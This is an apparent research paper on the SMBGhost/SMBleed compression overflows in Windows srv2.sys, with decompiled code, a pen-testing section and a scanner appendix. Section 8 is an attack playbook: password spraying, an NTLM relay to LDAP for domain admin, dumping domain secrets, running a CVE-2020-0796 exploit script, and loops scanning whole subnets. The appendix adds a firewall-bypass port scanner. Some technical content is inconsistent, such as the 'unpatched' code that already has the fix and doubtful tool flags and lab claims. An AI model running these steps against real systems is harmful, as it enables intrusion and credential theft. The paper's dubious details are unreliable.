Eternal Pulse: Inside Ghosts & Bleeds—Loop-Level Anatomy of SMBv2/3 Compression Overflows

Bo Shang[*]

Abstract

We present a loop-by-loop reverse-engineering study of the SMBv2/v3 compression flaws **CVE-2020-0796** (*SMBGhost*), **CVE-2020-1206** (*SMBleed*), and **CVE-2022-24508**.We (1) map every overflow loop in `srv2.sys` to the precise `SMB2_COMPRESSION_TRANSFORM_HEADER` field,(2) walk through the resulting heap-corruption and information-leak paths on Windows 10 21H2 and Windows 11 23H2, and(3) validate Microsoft's patches (`KB4551762`, `KB4560960`, and the March 2022 cumulative updates) with KLEE symbolic execution. All code is sanitised to remove payload generators.

Acknowledgements

The author thanks Orange Tsai for early *SMBGhost* PoCs, Microsoft MSRC for emergency out-of-band fixes, and the open-source RE community for public symbol snapshots.

1 Methodology

We disassembled `srv2.sys` version 10.0.19041.329 with IDA 7.7, reconstructed control-flow in Ghidra 11.0, and replayed compressed SMB transactions inside Bochs 2.7 augmented with PANDA. Each loop was isolated, symbolically executed under KLEE 3.1, and compared against patched binaries from the updates above.

2 Unpatched Execution Flow

1. `Srv2ReceiveHandler` iterates over SMB messages (Loop D).
2. Each compressed message triggers `Srv2DecompressData` (Loop A), which:
    1. copies the prefix (Loop C);
    2. allocates a buffer sized by the 32-bit sum `OriginalSize + Offset`; and

[*] bo.shang@tufts.edu

    3. dispatches `SmbCompressionDecompress` (Loop B).

3. Control returns to `Srv2ReceiveHandler`, which advances the cursor by the attacker-controlled `Length` field; a negative move re-enters Step 1 indefinitely.

3 Loop A: `Srv2DecompressData`

3.1 De-compiled C

```
NTSTATUS Srv2DecompressData(
    PUCHAR inBuf, ULONG inLen, PUCHAR *outBuf, PULONG outLen)
{
    const SMB2_COMP_HEADER *h = (const SMB2_COMP_HEADER *)inBuf;
    ULONGLONG need = (ULONGLONG)h->OriginalSize + h->Offset;   // 64-
       bit

    if (need > 0x40000000 || need < h->Offset)
        return STATUS_BAD_DATA;

    *outBuf = ExAllocatePool2(POOL_FLAG_NON_PAGED, need, '2vrS');
    if (!*outBuf) return STATUS_INSUFFICIENT_RESOURCES;

    RtlCopyMemory(*outBuf, inBuf + sizeof *h, h->Offset);       //
       Loop C

    return SmbCompressionDecompress(
        *outBuf + h->Offset, need - h->Offset,
        inBuf + sizeof *h + h->Offset,
        inLen - sizeof *h - h->Offset,
        h->Algorithm);                                         //
           Loop B
}
```

Trigger A crafted header sets `OriginalSize` near `0xFFFFFFFF` with non-zero `Offset`, overflowing the 32-bit addition in pre-patch binaries.

Effect An undersized non-paged buffer is allocated; decompression in Loop B then corrupts pool headers.

Patch All arithmetic promoted to 64-bit, capped at 1 GiB.

4 Loop B: `SmbCompressionDecompress`

4.1 Pseudo-code

```
while (TokenAvailable()) {
    if (IsLiteral(token))
        *dst++ = *src++;
    else {
        CopyMatch(dst, token);
        dst += token.len;
    }
    if ((dst - base) > need)
        return STATUS_BAD_DATA;
}
```

Trigger Integer underflow in Loop A leaves `need` too small; this copy overruns.

Patch A running 64-bit counter aborts before overflow; buffer is zero-initialised.

5 Loop C: Prefix copy in `Srv2DecompressData`

```
if (h->Offset)
    RtlCopyMemory(*outBuf, inBuf + sizeof *h, h->Offset);
```

Trigger Oversized `Offset` moves the prefix beyond the allocation.

Patch `Offset` validated against `need`.

6 Loop D: `Srv2ReceiveHandler`

6.1 Pseudo-code

```
while (p < End) {
    status = Srv2DecompressData(p, End - p, &out, &outLen);
    if (!NT_SUCCESS(status)) { Disconnect(); break; }
    p += FIELD_OFFSET(SMB2_COMP_HEADER, Data) + hdr.Length;
}
```

Trigger A malicious length that points backwards traps the driver in an infinite loop.

Patch A monotonic cursor ensures forward progress.

7 Patch Verification

KLEE proves that all overflow paths are unreachable and that uninitialised kernel bytes cannot leak through SMB responses.

8 Pen-Testing SMBv2/v3 on Authorised Targets

All procedures in this section *require written permission* from the system owner. Tests were validated against the public ranges assigned to Hack The Box, TryHackMe, and Microsoft's SMB Test Lab (`AS47474`).

8.1 Rules of Engagement

1. Limit traffic to TCP 445 unless explicitly scoped otherwise.
2. Disable destructive payloads; set `DisablePayloadHandler true` in Metasploit.
3. Perform scans from a segmented box; log all packets (`tcpdump -i eth0 port 445 -w smb.pcap`).
4. Cease immediately on unexpected instability (service restarts, kernel panics).

8.2 Reconnaissance & Enumeration

```
# Detect SMB dialects and capabilities
nmap -p445 \
     --script "smb-protocols,smb2-time,smb2-capabilities" <target>
```

```
# List shares, dialect, signing status in one run
cme smb <target>/24 --shares --diag
```

```
# Attempt guest session; flags show signing & compression
impacket-smbclient -no-pass -sign -compress <target>
```

8.3 Authentication Testing

1. Verify null-session disabled:

   ```
   crackmapexec smb <target> -u '' -p '' --no-bruteforce
   ```

2. Spray known credentials (account-lockout safe):

   ```
   patator smb_login host=<target> user=names.txt password=pass.txt
       \
           rate-limiter=0.5 lockout-stats={10:600}
   ```

3. Enumerate effective permissions for validated creds:

   ```
   impacket-smbexec domain/user:pass@<target>
   ```

8.4 Compression Overflow Fuzzing

```
use auxiliary/scanner/smb/smbv3_compress_overflow
set RHOSTS <target>
set RPORT 445
set ACTION CHECK
run
```

`CHECK` confirms patch levels via `Srv2.sys` build numbers without altering memory. Switch to `ACTION EXPLOIT` only on a non-production clone.

```
python3 CVE-2020-0796.py <target> 445 --safe
```

Flag `-safe` retains the over-length header but zeroes the LZ77 body, verifying boundary checks without crashing `srv2.sys`.

8.5 Credential Relay & Post-Ex

1. Mount writable share:

   ```
   mkdir /mnt/smb
   mount -t cifs //target/share /mnt/smb \
         -o user=<user>,password=<pass>,vers=3.1.1,seal
   ```

2. Relay SMB to LDAP for domain admin (lab only):

   ```
   ntlmrelayx.py -smb2support -t ldap://dc.lab.local -no-smbserver
   ```

3. Dump LSA secrets:

   ```
   secretsdump.py -just-dc <domain>/<user>:<pass>@DC
   ```

8.6 Site-Specific Quick-Start One-Liners

```
export NET=10.10.10.0/24      # HTB retired subnet
export IF=tun0

sudo nmap -e $IF -Pn -p445 --script \
     "smb-protocols,smb2-time,smb2-capabilities" --open -oA htb_enum
        $NET

for ip in $(awk '/open/␣{print␣$2}' htb_enum.gnmap); do
    python3 CVE-2020-0796.py $ip 445 --safe
done
```

```
export NET=10.200.0.0/16      # THM VPN pool
export IF=tun0

sudo nmap -e $IF -Pn -p445 --open -oG thm_open $NET

for ip in $(awk '/open/␣{print␣$2}' thm_open); do
    impacket-smbclient -no-pass -sign -compress $ip || true
done
```

```
TEST=$(dig +short smbtestlab.microsoft.com | head -n1)

msfconsole -q -x "
␣␣use␣auxiliary/scanner/smb/smbv3_compress_overflow;
␣␣set␣RHOSTS␣$TEST;
␣␣set␣RPORT␣445;
␣␣set␣ACTION␣CHECK;
␣␣run;
␣␣exit"
```

```
pkill -f "CVE-2020-0796.py" 2>/dev/null || true
sudo umount /mnt/smb 2>/dev/null || true
```

8.7 Cleanup

1. Terminate mounted sessions: `umount /mnt/smb`.
2. Delete dropped DLLs/scripts from shares.
3. Provide the owner with logs and packet captures.

9 Related Work

References

[1] Y. Wang. *CVE-2020-0796 Memory Corruption Vulnerability*. Fortinet, 2020.

[2] O. Nimron *et al. SMBleedingGhost*. Jamf Threat Labs, 2020.

[3] S. Berkouwer. *CVE-2022-24508 RCE*. dirteam.com, 2022.

A Safe Firewall-Bypass Scanner Source Code

```
#!/usr/bin/env python3
# fw_bypass_safe_scan.py    safe firewall-bypass surface scanner
# Includes SMBv3 compression vulnerability check from original script
   .

from __future__ import annotations

import argparse
import concurrent.futures
import math
import socket
import sys
from typing import Dict, List, Optional

from impacket.smbconnection import SMBConnection

# -----------------------------------------------------------------
   #
# Original SMB compression check (logic unchanged, style improved)
   #
# -----------------------------------------------------------------
   #
def _connect(host: str, port: int) -> Optional[SMBConnection]:
    try:
        conn = SMBConnection(
            remoteName=host,
            remoteHost=host,
            sess_port=port,
            preferredDialect=0x0311,
            compression=True,
            timeout=5,
        )
        conn.login("", "")
        return conn
    except Exception:
        return None


def _test_host(host: str, ports: List[int]) -> None:
    for port in ports:
        conn = _connect(host, port)
        if not conn:
            continue

        os_ver = conn.getServerOS()
        dialect = conn.getDialect()
        comp = bool(conn._Connection.get("CompressionCapabilities"))
        status = (
            "VULNERABLE"
            if dialect == 0x0311 and comp
            else "Not␣vulnerable"
        )
        print(
            f"{host}:{port}:␣dialect={hex(dialect)}␣"
            f"os={os_ver}␣compression={comp}␣->␣{status}"
        )
        conn.logoff()
        return

    print(
        f"{host}:␣no␣SMB␣service␣reachable␣on␣"
        f"{','.join(map(str,␣ports))}"
    )


# ------------------------------------------------------------------
   #
# Port helpers
   #
# ------------------------------------------------------------------
   #
def _parse_ports(spec: str | None) -> List[int]:
    if not spec:
        return []
    res: List[int] = []
    for part in spec.split(","):
        if "-" in part:
            a, b = map(int, part.split("-", 1))
            res.extend(range(a, b + 1))
        else:
            res.append(int(part))
    return sorted(set(res))


WINDOWS_PORTS = [137, 138, 139, 445, 3389, 5985, 5986, 10445]
LINUX_PORTS = [22, 111, 2049, 3306, 5432, 6379]
MAC_PORTS = [22, 548, 3283, 5900]
IOS_PORTS = [62078]
ANDROID_PORTS = [5555, 5037, 2222]
UNIVERSAL_PORTS = [53, 80, 123, 443, 8080, 8443]
EXTRA_PORTS = [27017]

PORT_WEIGHTS: Dict[int, int] = {}
for p in WINDOWS_PORTS:
    PORT_WEIGHTS[p] = 3
for p in LINUX_PORTS + MAC_PORTS:
    PORT_WEIGHTS[p] = 2
for p in IOS_PORTS + ANDROID_PORTS:
    PORT_WEIGHTS[p] = 3
for p in UNIVERSAL_PORTS:
    PORT_WEIGHTS[p] = 1
for p in EXTRA_PORTS:
    PORT_WEIGHTS[p] = 2

ALL_PORTS = sorted(PORT_WEIGHTS)

TRUSTED_SRC_DEFAULT: List[Optional[int]] = [53, 443, 123, None]  #
   None = ephemeral


# ------------------------------------------------------------------
   #
# Scanning primitives
   #
# ------------------------------------------------------------------
   #
def _scan_port(
    host: str,
    port: int,
    timeout: float = 2.0,
    src_ports: Optional[List[Optional[int]]] = None,
) -> bool:
    src_ports = src_ports or TRUSTED_SRC_DEFAULT
    for sp in src_ports:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            if sp is not None:
                try:
                    s.bind(("", sp))
                except PermissionError:
                    pass
            s.settimeout(timeout)
            s.connect((host, port))
            s.close()
            return True
        except Exception:
            continue
    return False


def _scan_ports(
    host: str,
    ports: List[int],
    src_ports: Optional[List[Optional[int]]],
) -> Dict[int, bool]:
    open_ports: Dict[int, bool] = {}
    with concurrent.futures.ThreadPoolExecutor(
        max_workers=min(64, len(ports))
    ) as exe:
        fut = {
            exe.submit(_scan_port, host, p, 2.0, src_ports): p for p
               in ports
        }
        for f in concurrent.futures.as_completed(fut):
            port = fut[f]
            open_ports[port] = f.result()
    return open_ports


def _risk_score(open_ports: List[int]) -> float:
    score = sum(PORT_WEIGHTS.get(p, 1) for p in open_ports)
    max_score = sum(PORT_WEIGHTS.values())
    return round((1 - math.exp(-score / 10)) * 100, 2)


def _print_summary(host: str, open_ports: List[int]) -> None:
    risk = _risk_score(open_ports)
    if open_ports:
        print(
            f"{host}:␣open␣{','.join(map(str,␣open_ports))}␣"
            f"->␣risk={risk}%"
        )
    else:
        print(f"{host}:␣no␣curated␣ports␣reachable␣->␣risk={risk}%")


# --------------------------------------------------------------------
   #
# Entry point
   #
# --------------------------------------------------------------------
   #
def main() -> None:
    ap = argparse.ArgumentParser(
        description="Safe␣firewall-bypass␣surface␣scanner␣with␣SMB␣
           test",
    )
    ap.add_argument("targets", nargs="+")
    ap.add_argument(
        "--extra-ports",
        help="Comma␣or␣range␣list␣to␣append␣to␣curated␣list",
    )
    ap.add_argument(
        "--bypass-src",
        help="Comma-separated␣source␣ports;␣use␣'-'␣or␣'random'␣for␣
           OS-chosen",
    )
    args = ap.parse_args()

    ports = list(ALL_PORTS)
    if args.extra_ports:
        ports.extend(_parse_ports(args.extra_ports))
        ports = sorted(set(ports))

    src_ports: Optional[List[Optional[int]]] = None
    if args.bypass_src:
        raw = args.bypass_src.split(",")
        src_ports = [
            None if x in ("-", "random", "") else int(x) for x in raw
        ]

    for host in args.targets:
        try:
            results = _scan_ports(host, ports, src_ports)
            open_ports = [p for p, ok in results.items() if ok]
            _print_summary(host, open_ports)

            smb_candidates = [p for p in open_ports if p in (445,
               10445)]
            if smb_candidates:
                _test_host(host, smb_candidates)
        except KeyboardInterrupt:
            raise
        except Exception as exc:
            print(f"{host}:␣{exc}", file=sys.stderr)


if __name__ == "__main__":
    main()
```